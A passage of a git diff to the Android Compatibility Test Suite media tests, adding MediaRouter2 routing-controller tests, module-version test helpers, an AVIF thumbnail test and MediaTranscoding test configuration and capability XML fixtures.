+                onControllerUpdatedLatch.countDown();
+            }
+        };
+
+        try {
+            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
+            mSystemRouter2ForCts.registerControllerCallback(mExecutor, controllerCallback);
+            mSystemRouter2ForCts.transferTo(routeToBegin);
+            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            assertEquals(1, controllers.size());
+            RoutingController controller = controllers.get(0);
+
+            // Transfer to ROUTE_ID5_TO_TRANSFER_TO
+            MediaRoute2Info routeToTransferTo = routes.get(ROUTE_ID5_TO_TRANSFER_TO);
+            assertNotNull(routeToTransferTo);
+
+            mSystemRouter2ForCts.transferTo(routeToTransferTo);
+            assertTrue(onControllerUpdatedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mSystemRouter2ForCts.unregisterControllerCallback(controllerCallback);
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    @Test
+    public void testRoutingControllerSetSessionVolume() throws Exception {
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
+        MediaRoute2Info route = routes.get(ROUTE_ID1);
+        assertNotNull(route);
+
+        CountDownLatch successLatch = new CountDownLatch(1);
+        CountDownLatch volumeChangedLatch = new CountDownLatch(1);
+
+        List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with this route
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                controllers.add(newController);
+                successLatch.countDown();
+            }
+        };
+
+        try {
+            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
+            mSystemRouter2ForCts.transferTo(route);
+
+            assertTrue(successLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+        }
+
+        assertEquals(1, controllers.size());
+
+        // test setSessionVolume
+        RoutingController targetController = controllers.get(0);
+        assertEquals(PLAYBACK_VOLUME_VARIABLE, targetController.getVolumeHandling());
+        int currentVolume = targetController.getVolume();
+        int maxVolume = targetController.getVolumeMax();
+        int targetVolume = (currentVolume == maxVolume) ? currentVolume - 1 : (currentVolume + 1);
+
+        ControllerCallback controllerCallback = new ControllerCallback() {
+            @Override
+            public void onControllerUpdated(MediaRouter2.RoutingController controller) {
+                if (!TextUtils.equals(targetController.getId(), controller.getId())) {
+                    return;
+                }
+                if (controller.getVolume() == targetVolume) {
+                    volumeChangedLatch.countDown();
+                }
+            }
+        };
+
+        try {
+            mSystemRouter2ForCts.registerControllerCallback(mExecutor, controllerCallback);
+            targetController.setVolume(targetVolume);
+            assertTrue(volumeChangedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mSystemRouter2ForCts.unregisterControllerCallback(controllerCallback);
+        }
+    }
+
+    @Test
+    public void testRoutingControllerRelease() throws Exception {
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
+        MediaRoute2Info route = routes.get(ROUTE_ID1);
+        assertNotNull(route);
+
+        final CountDownLatch onTransferLatch = new CountDownLatch(1);
+        final CountDownLatch onControllerUpdatedLatch = new CountDownLatch(1);
+        final CountDownLatch onStopLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertEquals(mSystemRouter2ForCts.getSystemController(), oldController);
+                assertTrue(createRouteMap(newController.getSelectedRoutes())
+                        .containsKey(ROUTE_ID1));
+                controllers.add(newController);
+                onTransferLatch.countDown();
+            }
+            @Override
+            public void onStop(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+                onStopLatch.countDown();
+            }
+        };
+
+        ControllerCallback controllerCallback = new ControllerCallback() {
+            @Override
+            public void onControllerUpdated(RoutingController controller) {
+                if (onTransferLatch.getCount() != 0
+                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
+                    return;
+                }
+                onControllerUpdatedLatch.countDown();
+            }
+        };
+
+        try {
+            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
+            mSystemRouter2ForCts.registerControllerCallback(mExecutor, controllerCallback);
+            mSystemRouter2ForCts.transferTo(route);
+            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            assertEquals(1, controllers.size());
+            RoutingController controller = controllers.get(0);
+
+            // Release controller. Future calls should be ignored.
+            controller.release();
+
+            // Select ROUTE_ID5_TO_TRANSFER_TO
+            MediaRoute2Info routeToSelect = routes.get(ROUTE_ID4_TO_SELECT_AND_DESELECT);
+            assertNotNull(routeToSelect);
+
+            // This call should be ignored.
+            // The onControllerUpdated() shouldn't be called.
+            controller.selectRoute(routeToSelect);
+            assertFalse(onControllerUpdatedLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+
+            // onStop should be called.
+            assertTrue(onStopLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mSystemRouter2ForCts.unregisterControllerCallback(controllerCallback);
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    private Map<String, MediaRoute2Info> waitAndGetRoutes(String feature) throws Exception {
+        List<String> features = new ArrayList<>();
+        features.add(feature);
+
+        mAppRouter2.registerRouteCallback(mExecutor, mAppRouterPlaceHolderCallback,
+                new RouteDiscoveryPreference.Builder(features, true).build());
+
+        CountDownLatch latch = new CountDownLatch(1);
+        RouteCallback routeCallback = new RouteCallback() {
+            @Override
+            public void onRoutesAdded(List<MediaRoute2Info> routes) {
+                for (MediaRoute2Info route : routes) {
+                    if (route.getFeatures().contains(feature)) {
+                        latch.countDown();
+                        break;
+                    }
+                }
+            }
+        };
+
+        mSystemRouter2ForCts.registerRouteCallback(mExecutor, routeCallback,
+                RouteDiscoveryPreference.EMPTY);
+
+        try {
+            // Note: The routes can be added before registering the callback,
+            // therefore no assertTrue() here.
+            latch.await(WAIT_MS, TimeUnit.MILLISECONDS);
+            return createRouteMap(mSystemRouter2ForCts.getRoutes());
+        } finally {
+            mSystemRouter2ForCts.unregisterRouteCallback(routeCallback);
+        }
+    }
+
+    // Helper for getting routes easily. Uses original ID as a key
+    private static Map<String, MediaRoute2Info> createRouteMap(List<MediaRoute2Info> routes) {
+        Map<String, MediaRoute2Info> routeMap = new HashMap<>();
+        for (MediaRoute2Info route : routes) {
+            routeMap.put(route.getOriginalId(), route);
+        }
+        return routeMap;
+    }
+
+    private void releaseAllSessions() {
+        MediaRouter2Manager manager = MediaRouter2Manager.getInstance(mContext);
+        for (RoutingSessionInfo session : manager.getActiveSessions()) {
+            manager.releaseSession(session);
+        }
+    }
+
+    private void clearCallbacks() {
+        for (RouteCallback routeCallback : mRouteCallbacks) {
+            mAppRouter2.unregisterRouteCallback(routeCallback);
+            mSystemRouter2ForCts.unregisterRouteCallback(routeCallback);
+        }
+        mRouteCallbacks.clear();
+
+        for (TransferCallback transferCallback : mTransferCallbacks) {
+            mAppRouter2.unregisterTransferCallback(transferCallback);
+            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
+        }
+        mTransferCallbacks.clear();
+    }
+
+    static void releaseControllers(List<RoutingController> controllers) {
+        for (RoutingController controller : controllers) {
+            controller.release();
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/TestUtils.java b/tests/tests/media/src/android/media/cts/TestUtils.java
index 093cc8c..ae4cb59 100644
--- a/tests/tests/media/src/android/media/cts/TestUtils.java
+++ b/tests/tests/media/src/android/media/cts/TestUtils.java
@@ -16,26 +16,28 @@
 
 package android.media.cts;
 
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
+import static android.content.pm.PackageManager.MATCH_APEX;
+
+import static org.junit.Assume.assumeTrue;
 
 import android.content.Context;
-import android.media.session.MediaSessionManager;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
 import android.os.Bundle;
-import android.os.Handler;
-import android.os.Looper;
+import android.util.Log;
 
-import java.io.FileDescriptor;
-import java.util.ArrayList;
-import java.util.List;
+import androidx.test.core.app.ApplicationProvider;
+
+import org.junit.Assert;
+import org.junit.AssumptionViolatedException;
+
 import java.util.Objects;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
 
 /**
  * Utilities for tests.
  */
 public final class TestUtils {
+    private static String TAG = "TestUtils";
     private static final int WAIT_TIME_MS = 1000;
     private static final int WAIT_SERVICE_TIME_MS = 5000;
 
@@ -66,6 +68,71 @@
         return true;
     }
 
+    /**
+     * Checks {@code module} is at least {@code minVersion}
+     *
+     * The tests are skipped by throwing a {@link AssumptionViolatedException}.  CTS test runners
+     * will report this as a {@code ASSUMPTION_FAILED}.
+     *
+     * @param module     the apex module name
+     * @param minVersion the minimum version
+     * @throws AssumptionViolatedException if module version < minVersion
+     */
+    static void assumeMainlineModuleAtLeast(String module, long minVersion) {
+        try {
+            long actualVersion = getModuleVersion(module);
+            assumeTrue("Assume  module  " + module + " version " + actualVersion + " < minVersion"
+                    + minVersion, actualVersion >= minVersion);
+        } catch (PackageManager.NameNotFoundException e) {
+            Assert.fail(e.getMessage());
+        }
+    }
+
+    /**
+     * Checks if {@code module} is < {@code minVersion}
+     *
+     * <p>
+     * {@link AssumptionViolatedException} is not handled properly by {@code JUnit3} so just return
+     * the test
+     * early instead.
+     *
+     * @param module     the apex module name
+     * @param minVersion the minimum version
+     * @deprecated convert test to JUnit4 and use
+     * {@link #assumeMainlineModuleAtLeast(String, long)} instead.
+     */
+    @Deprecated
+    static boolean skipTestIfMainlineLessThan(String module, long minVersion) {
+        try {
+            long actualVersion = getModuleVersion(module);
+            if (actualVersion < minVersion) {
+                Log.i(TAG, "Skipping test because Module  " + module + " minVersion " + minVersion
+                        + " > "
+                        + minVersion
+                );
+                return true;
+            } else {
+                return false;
+            }
+        } catch (PackageManager.NameNotFoundException e) {
+            Assert.fail(e.getMessage());
+            return false;
+        }
+    }
+
+    private static long getModuleVersion(String module)
+            throws PackageManager.NameNotFoundException {
+        Context context = ApplicationProvider.getApplicationContext();
+        PackageInfo info;
+        info = context.getPackageManager().getPackageInfo(module,
+                MATCH_APEX);
+        return info.getLongVersionCode();
+    }
+
+
+    private TestUtils() {
+    }
+
     public static class Monitor {
         private int mNumSignal;
 
diff --git a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
index a5f2471..8375581 100644
--- a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
+++ b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
@@ -176,6 +176,15 @@
     }
 
     @Test
+    public void testCreateImageThumbnailAvif() throws Exception {
+        final File file = stageFile("sample.avif", new File(mDir, "cts.avif"));
+
+        for (Size size : TEST_SIZES) {
+            assertSaneThumbnail(size, ThumbnailUtils.createImageThumbnail(file, size, null));
+        }
+    }
+
+    @Test
     public void testCreateVideoThumbnail() throws Exception {
         final File file = stageFile(
                 "bbb_s1_720x480_mp4_h264_mp3_2mbps_30fps_aac_lc_5ch_320kbps_48000hz.mp4",
diff --git a/tests/tests/media/src/android/media/cts/Utils.java b/tests/tests/media/src/android/media/cts/Utils.java
index bbefac7..63c6e32 100644
--- a/tests/tests/media/src/android/media/cts/Utils.java
+++ b/tests/tests/media/src/android/media/cts/Utils.java
@@ -164,7 +164,7 @@
 
             am.registerAudioPlaybackCallback(callback, handler);
             mediaPlayer = MediaPlayer.create(context, Uri.fromFile(new File(mInpPrefix +
-                    "sine1khzs40dblong.mp3")));
+                    "sine1khzm40db.wav")));
             mediaPlayer.start();
             if (!callback.mCountDownLatch.await(TEST_TIMING_TOLERANCE_MS, TimeUnit.MILLISECONDS)
                     || callback.mActiveConfigSize != activeConfigSizeBeforeStart + 1) {
diff --git a/tests/tests/mediaparser/Android.bp b/tests/tests/mediaparser/Android.bp
index 6c9ba6f..138cb5a 100644
--- a/tests/tests/mediaparser/Android.bp
+++ b/tests/tests/mediaparser/Android.bp
@@ -23,7 +23,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-media",
     ],
 }
 
@@ -47,5 +47,4 @@
         "android.test.runner",
     ],
     sdk_version: "test_current",
-
 }
diff --git a/tests/tests/mediaparser/AndroidManifest.xml b/tests/tests/mediaparser/AndroidManifest.xml
index e3a26e0..f0f6d97 100644
--- a/tests/tests/mediaparser/AndroidManifest.xml
+++ b/tests/tests/mediaparser/AndroidManifest.xml
@@ -19,6 +19,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="android.media.mediaparser.cts">
 
+    <uses-sdk android:minSdkVersion="29"
+              android:targetSdkVersion="29"/>
     <application>
         <uses-library android:name="android.test.runner" />
     </application>
diff --git a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
index 145ac99..d13fa52 100644
--- a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
+++ b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
@@ -550,7 +550,7 @@
     }
 
     @Test
-    public void testMp4AndrdoidSlowMotion() throws IOException {
+    public void testMp4AndroidSlowMotion() throws IOException {
         testAssetExtraction("mp4/sample_android_slow_motion.mp4");
     }
 
diff --git a/tests/tests/mediastress/AndroidManifest.xml b/tests/tests/mediastress/AndroidManifest.xml
index 81d8a00..157cd3c 100644
--- a/tests/tests/mediastress/AndroidManifest.xml
+++ b/tests/tests/mediastress/AndroidManifest.xml
@@ -15,41 +15,42 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.mediastress.cts">
+     package="android.mediastress.cts">
 
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
-    <uses-permission android:name="android.permission.RECORD_AUDIO" />
-    <uses-permission android:name="android.permission.WAKE_LOCK" />
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
 
-    <application
-        android:requestLegacyExternalStorage="true">
-        <uses-library android:name="android.test.runner" />
+    <application android:requestLegacyExternalStorage="true">
+        <uses-library android:name="android.test.runner"/>
         <activity android:label="@string/app_name"
-                android:name="android.mediastress.cts.MediaFrameworkTest"
-                android:screenOrientation="landscape"
-                android:configChanges="keyboard|keyboardHidden|orientation|screenSize">
+             android:name="android.mediastress.cts.MediaFrameworkTest"
+             android:screenOrientation="landscape"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <activity android:name="android.mediastress.cts.NativeMediaActivity"
-                  android:label="NativeMedia" />
+             android:label="NativeMedia"/>
     </application>
 
-    <uses-sdk android:minSdkVersion="29"   android:targetSdkVersion="29" />
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="29"/>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="android.mediastress.cts"
-            android:label="Media stress tests InstrumentationRunner" >
+         android:targetPackage="android.mediastress.cts"
+         android:label="Media stress tests InstrumentationRunner">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/tests/mediatranscoding/Android.bp b/tests/tests/mediatranscoding/Android.bp
new file mode 100644
index 0000000..0b889ae
--- /dev/null
+++ b/tests/tests/mediatranscoding/Android.bp
@@ -0,0 +1,47 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsMediaTranscodingTestCases",
+    defaults: ["CtsMediaTranscodingTestCasesDefaults", "cts_defaults"],
+    min_sdk_version: "31",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+    ],
+    resource_dirs: ["res"],
+}
+
+java_defaults {
+    name: "CtsMediaTranscodingTestCasesDefaults",
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.ext.junit",
+        "testng",
+    ],
+    libs: [
+        "android.test.base",
+        "android.test.runner",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/mediatranscoding/AndroidManifest.xml b/tests/tests/mediatranscoding/AndroidManifest.xml
new file mode 100644
index 0000000..1618b00
--- /dev/null
+++ b/tests/tests/mediatranscoding/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.media.mediatranscoding.cts">
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.media.mediatranscoding.cts"
+            android:label="Tests for MediaTranscoding.">
+        <meta-data android:name="listener"
+                android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/mediatranscoding/AndroidTest.xml b/tests/tests/mediatranscoding/AndroidTest.xml
new file mode 100644
index 0000000..0eccb93
--- /dev/null
+++ b/tests/tests/mediatranscoding/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS MediaTranscoding test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsMediaTranscodingTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.media.mediatranscoding.cts" />
+        <!-- setup can be expensive so limit the number of shards -->
+        <option name="ajur-max-shard" value="5" />
+        <!-- test-timeout unit is ms, value = 15 min -->
+        <option name="test-timeout" value="900000" />
+        <option name="runtime-hint" value="15m" />
+    </test>
+</configuration>
diff --git a/tests/tests/mediatranscoding/DynamicConfig.xml b/tests/tests/mediatranscoding/DynamicConfig.xml
new file mode 100644
index 0000000..7cf5973
--- /dev/null
+++ b/tests/tests/mediatranscoding/DynamicConfig.xml
@@ -0,0 +1,17 @@
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<dynamicConfig>
+</dynamicConfig>
diff --git a/tests/tests/mediatranscoding/OWNERS b/tests/tests/mediatranscoding/OWNERS
new file mode 100644
index 0000000..e653979
--- /dev/null
+++ b/tests/tests/mediatranscoding/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 761430
+hkuang@google.com
+chz@google.com
+lnilsson@google.com
diff --git a/tests/tests/mediatranscoding/TEST_MAPPING b/tests/tests/mediatranscoding/TEST_MAPPING
new file mode 100644
index 0000000..42ed5fd
--- /dev/null
+++ b/tests/tests/mediatranscoding/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsMediaTranscodingTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/mediatranscoding/assets/ConflictSupportedValue.xml b/tests/tests/mediatranscoding/assets/ConflictSupportedValue.xml
new file mode 100644
index 0000000..9b2fa3b
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/ConflictSupportedValue.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC" supported="true"/>
+    <format android:name="HEVC" supported="false"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/EmptyFormat.xml b/tests/tests/mediatranscoding/assets/EmptyFormat.xml
new file mode 100644
index 0000000..5ef5e51
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/EmptyFormat.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format />
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/FormatWithoutSupported.xml b/tests/tests/mediatranscoding/assets/FormatWithoutSupported.xml
new file mode 100644
index 0000000..e50c212
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/FormatWithoutSupported.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/MediaCapabilities.xml b/tests/tests/mediatranscoding/assets/MediaCapabilities.xml
new file mode 100644
index 0000000..1df175f
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/MediaCapabilities.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC" supported="true"/>
+    <format android:name="VP9" supported="false"/>
+    <format android:name="HDR10" supported="false"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/MediaCapabilitiesUnsupportedHevc.xml b/tests/tests/mediatranscoding/assets/MediaCapabilitiesUnsupportedHevc.xml
new file mode 100644
index 0000000..309b185
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/MediaCapabilitiesUnsupportedHevc.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC" supported="false"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/SupportAllHdr.xml b/tests/tests/mediatranscoding/assets/SupportAllHdr.xml
new file mode 100644
index 0000000..8c331a0
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/SupportAllHdr.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HEVC" supported="true"/>
+    <format android:name="HDR10" supported="true"/>
+    <format android:name="HDR10Plus" supported="true"/>
+    <format android:name="Dolby-Vision" supported="true"/>
+    <format android:name="HLG" supported="true"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/SupportHdrWithoutHevc.xml b/tests/tests/mediatranscoding/assets/SupportHdrWithoutHevc.xml
new file mode 100644
index 0000000..f4db4db
--- /dev/null
+++ b/tests/tests/mediatranscoding/assets/SupportHdrWithoutHevc.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    <format android:name="HDR10" supported="true"/>
+</media-capabilities>
diff --git a/tests/tests/mediatranscoding/assets/SupportedWithoutFormat.xml b/tests/tests/mediatranscoding/assets/SupportedWithoutFormat.xml
new file mode 100644
index 0000000..29454fc
--- /dev/null
